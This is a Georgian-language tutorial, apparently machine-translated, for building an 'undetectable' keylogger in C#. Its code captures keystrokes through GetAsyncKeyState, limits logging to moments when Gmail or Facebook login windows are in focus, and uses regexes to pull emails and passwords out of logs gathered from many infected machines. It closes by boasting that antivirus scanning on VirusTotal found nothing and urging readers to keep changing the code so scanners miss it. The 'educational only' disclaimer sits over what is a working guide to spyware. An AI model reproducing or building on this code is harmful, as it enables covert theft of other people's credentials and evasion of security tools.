ვწერთ საკუთარი შეუმჩვნეველ Keylogger-ს | ეტაპობრივი სახელმძღვანელო

გაბრთხილება: ქვემოთ მოყვანილი ინფორმაცია მხოლოდ საგანმანათლებლო მიზნებისთვის არის და არავის არ მოუწოდებს მოქმედებისკენ.

მოგესალმებით ყველას, ძვირფასო მეგობრებო!
დღეს ჩვენ აგიხსნით და გაჩვენებთ, თუ როგორ უნდა შექმნათ თქვენი საკუთარი keylogger-ი, რომელიც ვერ გამოივლინება რომელიმე არსებული ანტივირუსით. ეს ყველაფერი ასევე უფასოა.

შესავალი

Keylogger არის პროგრამა ან რაიმე სახის ფიზიკური მოწყობილობა, რომელსაც შეუძლია აკონტროლოს და დაიმახსოვროს ყოველი კლავიშების დაჭერა კომპრომეტირებულ აპარატზე. ეს შეიძლება წარმოიდგინოთ, როგორც ციფრული ხაფანგი კლავიშზე ყველა ღილაკის დაჭერისთვის.

ეს ფუნქციას ხშირად მიამაგრებენ სხვა, უფრო რთულ პროგრამებში, მაგალითად ტროიანს (Remote Access Trojans RATS), რომელიც უზრუნველყოფს თავდამსხმელისთვის მოპოვებული მონაცემების გადაცემას. ასევე არსებობს აპარატურის საკვანძო კეილოგერები, მაგრამ ისინი უფრო იშვიათია, რადგან საჭიროებს პირდაპირ ფიზიკურ წვდომას მანქანაზე.

თანაც, კეილოგერის ძირითადი ფუნქციების შექმნა საკმაოდ ადვილია დაპროგრამო.
გარდა ამისა, ეს კოდი არ იქნება ოპტიმიზირებული, მე უბრალოდ გაჩვენებთ იმ კოდების სტროფებს, რომლებსაც შეუძლიათ ,დავალებული დავალების შესრულებას, ეს არ არის ყველაზე ელეგანტური ან ოპტიმალური გზა. დაბოლოს, მე არ აგიხსნით, თუ როგორ უნდა გააკეთოთ keylogger გამჭირვალე გადატვირთვისთვის, ან შევეცადო გავაკეთო ის აბსოლიტური შეუმჩნეველი, პროგრამირების ტექნიკის წყალობით, ისევე როგორც დაცვას წაშლისგან, თუნდაც კი ის შეამჩნიეს.

შეუდგეთ საქმეს

კლავიატურაზე დასაკავშირებლად თქვენ გესაჭიროებათ მხოლოდ C# 2 სტროფის გამოყენება:

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

GetAsyncKeyState - ეს ფუნქცია განსაზღვრავს, დაჭერილი იყო თუ არა ღილაკი თუ გამოძახების დროს და დაჭერული იყო თუ არა მის დაჭერი წინა გამოძახების შემდეგ. ახლა ჩვენ მუდმივად ვეძახით ამ ფუნქციას კლავიატურის მონაცემების მისაღებად:

while (true)
 {
 Thread.Sleep(100);
for (Int32 i = 0; i < 255; i++)
 {
 int state = GetAsyncKeyState(i);
 if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}

Რა ხდება აქ? ეს ციკლი გამოკითხავს თითოეულ ღილაკს ყოველ 100ms-ში, მისი მდგომარეობის დასადგენად. თუ რომელიმე მათგანს დააჭირეს (ან დაჭერილი იყო), ამის შესახებ შეტყობინება გამოჩნდება კონსოლზე. რეალურ ცხოვრებაში, ეს მონაცემები ბუფეტირდება და ჰაკერთან იგზავნება, ანუ, ჩვენ.

ჭკვიანი კეილოგერი

დაიცადეთ, აზრი აქვს თუ არა, ეცადოთ გამოიტანოთ მთელი ინფორმაცია ყველა აპლიკაციებიდან?

როდესაც ზევით ხდება კლავიატურის შეყვანა ნებისმიერი ფანჯრინდა და ველიდან რომელზედაც არის ფოკუსი. თუ თქვენი მიზანია - საბანკო ბარათების ნომრები და პაროლები, მაში ასეთი მიდგობა არ არის ძალიან ეფექტური. რეალურ სამყაროში არსებული სცენარისთვის, როდესაც ასეთი კეილოგერებო ასობით ან ათასობით აპარატზე ხორციელდება, მონაცემების შემდგომი გაანალიზება შეიძლება გახდეს ძალიან შრომატევადი და, შედეგად, გახდეს უაზრო. ინფორმაცია, რომელიც დამჰაკველისთვის არის მნიშვნელოვანი, ამ დროისთვის შეიძლება გახდეს მოძველებული.

ვთქვათ, რომ მსურს მივიღო ფეისბუქის ან Gmail-ის მონაცემები. მაშნ ახალი იდეა არის keylogging-ის გააქტიურება მხოლოდ მაშინ, როდესაც ბრაუზერის ფანჯარა აქტიურია და გვერდის სათაურში არის სიტყვა Gmail ან facebook. ამ მეთოდის გამოყენებით, მე ვუმატებ მონაცემების მიღების შანსს.

კოდის მეორე ვერსია:

while (true) 
{
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
string line = buff.ToString();
if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
{
//კლავიატრუის შემოწმება
}
}
Thread.Sleep(100);
}

ამ კოდის ნაწყვეტი გამოავლენს აქტიურ ფანჯარას ყოველ 100 წამში. ეს კეთდება GetForegroundWindow ფუნქციის გამოყენებით (დამატებითი ინფორმაცია MSDN-ზე). გვერდის სათაური ინახება buff-ის ცვლადში, თუ იგი შეიცავს gmail ან facebook, მაშინ გამოიძახება კმლავიატურიანი სკანირების ფრაგმენტი. ამის წყალობით, ჩვენ კლავიშების სკანირება დავრწმუნდით მხოლოდ მაშინ, როდესაც ბრაუზერის ფანჯარა ღიაა facebook და gmail საიტებზე.

კიდევ უფრო ჭკვიანი keylogger

დავუშვათ, რომ ჰაკერმა შეძლო მონაცემების მოპოვება ისეთი კოდებით, როგორიცაა ჩვენი. დავუშვათ ისიც, რომ იგი საკმარისად ამბიციურია და მას შეეძლო ათეულობით თუ ასობით ათასი აპარატის ინფიცირება. შედეგი: უზარმაზარი ფაილი გიგაბაიტიანი ტექსტით, რომელშიც ჯერ კიდევ საჭიროა საჭირო ინფორმაციის ძებნა. დროა გაეცნოთ რეგულარულ გამონათქვამებს ან regex. ეს ჰგავს მინი ენას გარკვეული შაბლონების შედგენისა და ტექსტის სკანირებისთვის მოცემული შაბლონების შესაბამისობისთვის. მეტი შეგიძლიათ გაიგოთ აქ.

სიმარტივისთვის, მე დაუყოვნებლივ მოვიყვან მზა გამონათქვამებს, რომლებიც შეესაბამება შესასვლელ სახელებს და პაროლებს:

//ვეძებთ საფოსტო მისამართს
^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$

//ვეძებთ პაროლს
(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])

ეს გამონათქვამებია არის მინიშნება იმის შესახებ, თუ რა შეიძლება გაკეთდეს მათი გამოყენებით.

რეგულარული გამონათქვამებით შეგიძლიათ მოძებნოთ (და იპოვნოთ!) ნებისმიერი კონსტრუქცია, რომელსაც აქვს კონკრეტული და უცვლელი ფორმა, მაგალითად, პასპორტის ნომრები, საკრედიტო ბარათის ნომრები, ანგარიშები და პაროლები.

მართლაც, რეგულარული გამონათქვამები არ არის ყველაზე კითხებადი სახის კოდი, მაგრამ ისინი პროგრამისტის ერთ–ერთი საუკეთესო მეგობარია, როდესაც საქმე ეხება ტექსტის პარსინგს. Java-ს, C#-ს, JavaScript-ს და სხვა პოპულარულ ენებს უკვე აქვთ მზა ფუნქციები, რომელზეც შეგიძლიათ რეგულარული გამონათქვამების გადაცემა.

C#-ისთვის ასე გამოიყურება ასე:

Regex re = new Regex(@"^[\w!#$%&amp;'*+\-/=?\^_`{|}~]+(\.[\w!#$%&amp;'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$");
Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])");
string email = "Oded.awask@gmail.com";
string pass = "abcde3FG";
Match result = re.Match(email);
Match result2 = re2.Match(pass);

სადაც პირველი გამოთქმა (re) ემთხვევა ნებისმიერ ელ.ფოსტს, ხოლო მეორე (re2) ანბანის კონსტრუქციის ნებისმიერი ციფრი აღემატება 6 სიმბოლოს.

უფასო და არანაირი გამოვლენა

ჩემს მაგალითში Visual Studio გამოვიყენე - თქვენ შეგიძლიათ გამოიყენოთ თქვენი საყვარელი გარემო - რომ შექმნათ ასეთი კეილოგერი 30 წუთში.

დარჩა მხოლოდ ერთი შეკითხვა: ნამდვილად იქნება ასეთი პროგრამა ანტივირუსული პროგრამებისთვის შეუმჩნეველი?

მე დავაკომპილირე ჩემი კოდი და გადავამოწმე exe ფაილი Virustotal ვებსაიტზე. ეს არის ვებზე დაფუძნებული ინსტრუმენტი, რომელიც ითვლის თქვენს მიერ გადმოწერილი ფაილის ჰაშს და მას ეძებს ცნობილი ვირუსების მონაცემთა ბაზაში. სიურპრიზი! ბუნებრივია, ვერაფერი მოიძებნა. ეს არის მთავარი მახასიათებელი! თქვენ ყოველთვის შეგიძლიათ შეცვალოთ კოდი და შეიმუშაოთ, რომ ყოველთვის იყოთ რამდენიმე ნაბიჯით წინ საფრთხის სკანერისგან. თუ თქვენ შეგიძლიათ დაწეროთ თქვენი საკუთარი კოდი, თითქმის გარანტირებულია, რომ ის შეუმჩნეველი იქნება.